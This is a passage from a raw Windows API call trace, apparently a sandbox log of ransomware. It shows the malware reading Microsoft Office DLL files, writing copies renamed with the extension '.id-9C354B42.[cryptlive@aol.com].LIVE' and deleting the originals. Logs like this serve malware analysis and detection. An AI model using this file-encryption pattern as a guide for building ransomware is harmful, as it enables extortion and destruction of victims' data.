Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.617] lstrlenW (lpString=".doc") returned 4 [0148.617] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.617] lstrlenW (lpString=".docx") returned 5 [0148.617] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0148.617] lstrlenW (lpString=".pdf") returned 4 [0148.617] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.617] lstrlenW (lpString=".xls") returned 4 [0148.617] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.617] lstrlenW (lpString=".xlsx") returned 5 [0148.617] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0148.617] lstrlenW (lpString=".ppt") returned 4 [0148.617] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.617] lstrlenW (lpString=".zip") returned 4 [0148.617] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.617] lstrlenW (lpString=".rar") returned 4 [0148.617] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".bz2") returned 4 [0148.618] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.618] lstrlenW (lpString=".7z") returned 3 [0148.618] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString=".dbf") returned 4 [0148.618] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString=".1cd") returned 4 [0148.618] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString=".jpg") returned 4 [0148.618] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString=".doc") returned 4 [0148.618] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".docx") returned 5 [0148.618] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0148.618] lstrlenW (lpString=".pdf") returned 4 [0148.618] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".xls") returned 4 [0148.618] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".xlsx") returned 5 [0148.618] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0148.618] lstrlenW (lpString=".ppt") returned 4 [0148.618] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.618] lstrlenW (lpString=".zip") returned 4 [0148.618] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".rar") returned 4 [0148.618] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.618] lstrlenW (lpString=".bz2") returned 4 [0148.618] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.618] lstrlenW (lpString=".7z") returned 3 [0148.618] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.619] lstrlenW (lpString=".dbf") returned 4 [0148.619] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.619] lstrlenW (lpString=".1cd") returned 4 [0148.619] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.619] lstrlenW (lpString=".jpg") returned 4 [0148.619] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.619] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0148.619] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0148.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.619] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=99200) returned 1 [0148.619] CloseHandle (hObject=0x3dc) returned 1 [0148.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 0x20 [0148.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.620] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.620] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.621] GetLastError () returned 0x0 [0148.621] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x18380, lpOverlapped=0x0) returned 1 [0148.624] WriteFile (in: hFile=0x39c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x18390, lpOverlapped=0x0) returned 1 [0148.627] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.627] WriteFile (in: hFile=0x39c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0148.627] SetEndOfFile (hFile=0x39c) returned 1 [0148.627] CloseHandle (hObject=0x39c) returned 1 [0148.627] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.627] SetEndOfFile (hFile=0x3dc) returned 1 [0148.631] CloseHandle (hObject=0x3dc) returned 1 [0148.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 1 [0148.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.632] lstrlenW (lpString=".doc") returned 4 [0148.632] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".docx") returned 5 [0148.632] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.632] lstrlenW (lpString=".pdf") returned 4 [0148.632] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".xls") returned 4 [0148.632] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".xlsx") returned 5 [0148.632] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.632] lstrlenW (lpString=".ppt") returned 4 [0148.632] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.632] lstrlenW (lpString=".zip") returned 4 [0148.632] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".rar") returned 4 [0148.632] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".bz2") returned 4 [0148.632] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString=".7z") returned 3 [0148.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.632] lstrlenW (lpString=".dbf") returned 4 [0148.632] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".1cd") returned 4 [0148.633] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".jpg") returned 4 [0148.633] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".doc") returned 4 [0148.633] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".docx") returned 5 [0148.633] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.633] lstrlenW (lpString=".pdf") returned 4 [0148.633] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".xls") returned 4 [0148.633] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".xlsx") returned 5 [0148.633] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.633] lstrlenW (lpString=".ppt") returned 4 [0148.633] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".zip") returned 4 [0148.633] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".rar") returned 4 [0148.633] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".bz2") returned 4 [0148.633] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString=".7z") returned 3 [0148.633] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".dbf") returned 4 [0148.633] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".1cd") returned 4 [0148.633] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0148.633] lstrlenW (lpString=".jpg") returned 4 [0148.634] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.634] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0148.634] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0148.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.930] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=383872) returned 1 [0148.946] CloseHandle (hObject=0x3a0) returned 1 [0148.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 0x20 [0148.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0149.561] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.561] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0149.574] GetLastError () returned 0x0 [0149.574] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5db80, lpOverlapped=0x0) returned 1 [0149.585] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x5db90, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5db90, lpOverlapped=0x0) returned 1 [0149.594] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.594] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0149.594] SetEndOfFile (hFile=0x3c8) returned 1 [0149.594] CloseHandle (hObject=0x3c8) returned 1 [0149.594] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.594] SetEndOfFile (hFile=0x3cc) returned 1 [0149.604] CloseHandle (hObject=0x3cc) returned 1 [0149.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 1 [0149.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.605] lstrlenW (lpString=".doc") returned 4 [0149.605] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0149.605] lstrlenW (lpString=".docx") returned 5 [0149.605] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0149.605] lstrlenW (lpString=".pdf") returned 4 [0149.606] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString=".xls") returned 4 [0149.606] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString=".xlsx") returned 5 [0149.606] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0149.606] lstrlenW (lpString=".ppt") returned 4 [0149.606] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString=".zip") returned 4 [0149.606] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString=".rar") returned 4 [0149.606] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString=".bz2") returned 4 [0149.606] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString=".7z") returned 3 [0149.606] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString=".dbf") returned 4 [0149.606] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString=".1cd") returned 4 [0149.606] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString=".jpg") returned 4 [0149.606] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.606] lstrlenW (lpString=".doc") returned 4 [0149.607] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".docx") returned 5 [0149.607] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0149.607] lstrlenW (lpString=".pdf") returned 4 [0149.607] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".xls") returned 4 [0149.607] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".xlsx") returned 5 [0149.607] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0149.607] lstrlenW (lpString=".ppt") returned 4 [0149.607] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.607] lstrlenW (lpString=".zip") returned 4 [0149.607] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".rar") returned 4 [0149.607] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".bz2") returned 4 [0149.607] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString=".7z") returned 3 [0149.607] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.607] lstrlenW (lpString=".dbf") returned 4 [0149.607] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.607] lstrlenW (lpString=".1cd") returned 4 [0149.607] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0149.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0149.607] lstrlenW (lpString=".jpg") returned 4 [0149.607] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0149.608] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.608] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0149.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.746] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7168) returned 1 [0149.746] CloseHandle (hObject=0x3b0) returned 1 [0149.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll")) returned 0x20 [0149.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.786] lstrlenW (lpString=".doc") returned 4 [0149.786] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.786] lstrlenW (lpString=".docx") returned 5 [0149.787] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.787] lstrlenW (lpString=".pdf") returned 4 [0149.787] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".xls") returned 4 [0149.787] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".xlsx") returned 5 [0149.787] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.787] lstrlenW (lpString=".ppt") returned 4 [0149.787] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString=".zip") returned 4 [0149.787] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".rar") returned 4 [0149.787] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".bz2") returned 4 [0149.787] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.787] lstrlenW (lpString=".7z") returned 3 [0149.787] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString=".dbf") returned 4 [0149.787] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString=".1cd") returned 4 [0149.787] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString=".jpg") returned 4 [0149.787] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.787] lstrlenW (lpString=".doc") returned 4 [0149.787] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".docx") returned 5 [0149.787] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.787] lstrlenW (lpString=".pdf") returned 4 [0149.787] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.787] lstrlenW (lpString=".xls") returned 4 [0149.788] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.788] lstrlenW (lpString=".xlsx") returned 5 [0149.788] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.788] lstrlenW (lpString=".ppt") returned 4 [0149.788] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0149.788] lstrlenW (lpString=".zip") returned 4 [0149.788] lstrcmpiW 